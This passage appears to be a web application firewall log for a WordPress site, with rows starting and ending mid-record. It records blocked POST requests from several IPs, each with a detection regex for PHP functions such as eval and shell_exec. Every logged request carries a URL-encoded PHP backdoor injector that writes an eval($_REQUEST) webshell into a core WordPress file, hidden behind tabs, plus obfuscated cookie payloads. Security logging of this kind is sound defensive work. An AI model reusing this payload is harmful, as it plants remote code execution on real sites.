20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2078\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nYB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:12","129.121.41.228","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ch:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2078\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?1\n\nCh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:14","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:2078\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIaHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nVu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:16","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2078\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nqw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:19","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:2101\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:46:22","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2078\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 